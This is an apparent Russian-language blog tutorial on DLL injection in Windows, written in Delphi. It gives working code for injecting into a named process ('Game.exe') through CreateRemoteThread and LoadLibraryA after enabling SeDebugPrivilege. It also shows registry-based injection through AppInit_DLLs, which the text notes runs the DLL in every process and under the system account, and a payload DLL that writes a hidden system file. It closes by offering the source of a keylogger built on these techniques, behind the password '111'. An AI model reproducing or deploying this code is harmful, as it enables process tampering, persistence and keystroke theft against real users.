Найти в Дзене

Простой метод внедрения DLL, делаем свой Simple Dll Injection

Вот пример простенького внедрения своей дллки в доверенный процесс!

 Обычно для внедрения динамических библиотек в адресное пространство процесса применяют три способа:

 1)Внедрение в третьем кольце: 

 Кольца защиты — архитектура информационной безопасности и функциональной отказо-устойчивости, реализующая аппаратное разделение системного и пользовательского уровней привилегий. Структуру привилегий можно изобразить в виде нескольких концентрических кру-гов. В этом случае системный режим (режим супервизора или нулевое кольцо, т.н. "кольцо 0"), обеспечивающий максимальный доступ к ресурсам, является внутренним кругом, тогда как ре-жим пользователя с ограниченным доступом — внешним.  

2)Внедрение с помощью реестра 

3)С помощью удалённых потоков и глобальных ловушек (hooks). 

Рассмотрим внедрение DLL с помощью удаленных потоков, являющимся гибким и сравнительно простым способом. 

Суть данного способа заключается в создании потока загружающего необходимую библиотеку в адресное пространство выбранного процесса. При этом на момент внедрения DLL, целевой процесс должен функционировать в системе и должен быть открыт с правами на создание удаленных потоков и записи в собственное адресное пространство. 

Сразу приступим к разбору кода. 

Код будет на Делфи: 

Функция осуществляющая внедрение библиотеки: 

CODE: 

procedure InjectDll(TargetId: Cardinal; DllName: PAnsichar);
var

BytesWrite :cardinal;
ParamAddr : pointer;
pThreadStart : pointer;
Hdl : cardinal;
hThread : cardinal;
hRemoteThread : Cardinal;

begin
// Устанавливаем отладочные привилегии для выбранного процесса, т.к. без данных
// привилегий код внедрения работать не будет
ChangePrivilege('SeDebugPrivilege', True);

// Открываем существующий объект процесса
Hdl := OpenProcess(PROCESS_ALL_ACCESS, false, TargetId);

// Выделяем память под структуру, которая передается нашей функции, под параметры, которые передаются функции
ParamAddr := VirtualAllocEx(Hdl, nil, Length(DllName), MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);

// Пишем саму структуру
WriteProcessMemory(Hdl, ParamAddr, PAnsichar(DllName), Length(DllName), BytesWrite);
pThreadStart := GetProcAddress(GetModuleHandle('KERNEL32.DLL'), PAnsiChar('LoadLibraryA'));

// Запускаем удаленный поток
hThread := CreateRemoteThread(Hdl, nil, 0, pThreadStart, ParamAddr, 0,hRemoteThread);

// Ждем пока удаленный поток отработает...
WaitForSingleObject(hThread, INFINITE);
Closehandle(hThread);

end;

Функция получения идентификатора процесса по указанному имени исполняемого файла: 

CODE: 

function GetProcessID(ProcessName : string ) : DWORD ;

var

Handle :tHandle;
Process :tProcessEntry32;
GotProcess :Boolean;

begin

Handle:=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0) ;
Process.dwSize:=SizeOf(Process);
GotProcess := Process32First(Handle,Process);

if GotProcess and (Process.szExeFile<>ProcessName) then

repeat

GotProcess := Process32Next(Handle,Process);
until (not GotProcess) or (Process.szExeFile=ProcessName);
if GotProcess then Result := Process.th32ProcessID
else Result := 0;
CloseHandle(Handle);
end;

Функция установки отладочных привилегий: 

CODE: 

procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);

var

NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;

begin

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, szPrivilege, luid);
NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if (fEnable) then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, Re-turnLength);
CloseHandle(hToken);
end;

Процедура непосредственного внедрения библиотеки: 

CODE: 

procedure Inject;

var
pID: cardinal;

Begin

// определяем ProcessId по указанному имени исполняемого файла
pID := GetProcessID('Game.exe');
// вызываем функцию внедрения библиотеки dllToInject.dll в процесс с pID
InjectDll(pID,'dllToInject.dll');

end;

Эта процедура основная, остальные вспомагательные....

Внедряем свой длл, с помощью реестра:

CODE: 

program LoadDLLviaRegistry;
uses Windows;
const my_dll = 'showme.dll';
var reg: HKEY;
status: integer;
sval: PChar;
curr_val: array[0..255] of char;
curr_len, curr_type: dword;
begin
status:= RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion\Windows', 0, KEY_ALL_ACCESS, reg);
if (status = ERROR_SUCCESS) then
begin
sval:=my_dll;
curr_len:=255;
RegQueryValueEx(reg, 'AppInit_DLLs', nil, @curr_type, @curr_val, @curr_len);
curr_val[curr_len]:=#0;
if (curr_val[0]<>#0)and(curr_val<>my_dll) then
sval:=PChar(sval+' '+curr_val);
RegSetValueEx(reg, 'AppInit_DLLs', 0, REG_SZ, sval, Length(sval));
end;
end.

После запуска этой программы все приложения, использующие user32.dll, получат заодно и нашу dll в своё адресное пространство. После перезагрузки код помещённый в ShowMe.dll сможет выполняться даже от системной учётной записи. Однако этот способ самый простой не только в реализации, но и в обнаружении, поэтому воспользоваться им в реальных задачах проблематично.

Внедрения DLL в адресное пространство процесса в режиме пользователя (в 3-ем кольце):

CODE: 

library ShowMe;
uses Windows;
function IntToStr(val: dword): string;
begin
Str(val, result);
end;
procedure WriteLabelInFile();
var fH, bwr: dword;
text: pchar;
begin
text:= PChar('Our DLL is now loaded in process:'#13+
'PID = '+IntToStr(GetCurrentProcessId)+#13+ParamStr(0)+
#13'------------------------------------------------'#13);
fH:=CreateFile('C:\Temp\Inject.dll', GENERIC_READ or
GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN, 0);
SetFilePointer(fH, 0, nil, FILE_END);
WriteFile(fH, pointer(text)^, Length(text), bwr, nil);
CloseHandle(fH);
end;

begin
try
WriteLabelInFile();
except end;
end.

Исходник кейлоггера на делфи, который использует эти механизмы 

Пароль 111